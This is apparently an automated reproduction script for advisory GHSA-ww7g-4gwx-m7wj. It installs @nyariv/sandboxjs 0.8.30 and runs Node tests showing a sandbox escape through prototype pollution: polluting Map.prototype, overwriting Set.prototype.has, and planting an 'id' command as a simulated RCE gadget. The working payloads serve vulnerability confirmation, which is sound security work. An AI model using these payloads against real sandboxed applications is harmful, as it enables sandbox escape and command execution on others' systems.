#!/bin/bash
set -euo pipefail

# Portable root detection - works anywhere
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
mkdir -p "$LOGS"

cd "$ROOT"

# Ensure vulnerable package is installed
if [ ! -d "$ROOT/repro/node_modules/@nyariv/sandboxjs" ]; then
    echo "[INFO] Installing vulnerable package @nyariv/sandboxjs@0.8.30..."
    cd "$ROOT/repro"
    npm init -y
    npm install @nyariv/sandboxjs@0.8.30
fi

cd "$ROOT/repro"

# Create the reproduction test
cat > test_repro.js << 'EOF'
const Sandbox = require('@nyariv/sandboxjs').default;
const { execSync } = require('child_process');

console.log('='.repeat(60));
console.log('GHSA-ww7g-4gwx-m7wj Reproduction');
console.log('@nyariv/sandboxjs prototype pollution via array intermediary');
console.log('='.repeat(60));

// Test 1: Basic prototype pollution via array intermediary
console.log('\n[TEST 1] Prototype pollution via array intermediary');
const sandbox1 = new Sandbox();

// Reset polluted property if exists from previous run
try { delete Map.prototype.polluted; } catch(e) {}

const beforePollution = 'polluted' in Map.prototype;
console.log('Before: "polluted" in Map.prototype =', beforePollution);

sandbox1.compile(`
  const arr=[Map.prototype];
  const p=arr[0];
  p.polluted='pwned';
  return 'done';
`)().run();

const afterPollution = Map.prototype.polluted;
const inPrototype = 'polluted' in Map.prototype;
console.log('After: "polluted" in Map.prototype =', inPrototype);
console.log('Map.prototype.polluted =', afterPollution);

if (inPrototype && afterPollution === 'pwned') {
  console.log('[PASS] Prototype pollution confirmed!');
} else {
  console.log('[FAIL] Prototype pollution did not work');
  process.exit(1);
}

// Test 2: Set.prototype.has overwrite
console.log('\n[TEST 2] Overwrite Set.prototype.has');
const originalHas = Set.prototype.has;
const sandbox2 = new Sandbox();

sandbox2.compile(`
  const s=[Set.prototype][0];
  s.has=isFinite;
  return 'done';
`)().run();

const hasOverwritten = Set.prototype.has === isFinite;
console.log('Set.prototype.has === isFinite:', hasOverwritten);

if (hasOverwritten) {
  console.log('[PASS] Set.prototype.has was successfully overwritten!');
} else {
  console.log('[FAIL] Set.prototype.has was NOT overwritten');
}

// Restore original
Set.prototype.has = originalHas;

// Test 3: RCE gadget demonstration (simulated)
console.log('\n[TEST 3] RCE gadget via prototype pollution');
const sandbox3 = new Sandbox();

// Reset cmd property
try { delete Map.prototype.cmd; } catch(e) {}

sandbox3.compile(`
  const m=[Map.prototype][0];
  m.cmd='id';
  return 'done';
`)().run();

const mapInstance = new Map();
const cmdValue = mapInstance.cmd;
console.log('new Map().cmd =', cmdValue);

if (cmdValue === 'id') {
  console.log('[PASS] RCE gadget works - injected command in prototype!');
  // Demonstrate that execSync would use this polluted value
  console.log('      If host code did: execSync(new Map().cmd), it would execute "id"');
} else {
  console.log('[FAIL] RCE gadget did not work');
}

console.log('\n' + '='.repeat(60));
console.log('All tests completed - vulnerability confirmed!');
console.log('='.repeat(60));

// Cleanup
console.log('\n[Cleanup] Removing prototype pollution...');
try { delete Map.prototype.polluted; } catch(e) {}
try { delete Map.prototype.cmd; } catch(e) {}
EOF

# Run the test
node test_repro.js 2>&1 | tee "$LOGS/reproduction.log"

# Check for successful exploitation in logs
if grep -q "\[PASS\]" "$LOGS/reproduction.log" && grep -q "Prototype pollution confirmed" "$LOGS/reproduction.log"; then
    echo ""
    echo "========================================"
    echo "VULNERABILITY CONFIRMED"
    echo "========================================"
    echo "Issue: GHSA-ww7g-4gwx-m7wj"
    echo "Package: @nyariv/sandboxjs <= 0.8.30"
    echo "Impact: Sandbox escape via prototype pollution"
    exit 0
else
    echo "[ERROR] Vulnerability reproduction failed"
    exit 1
fi
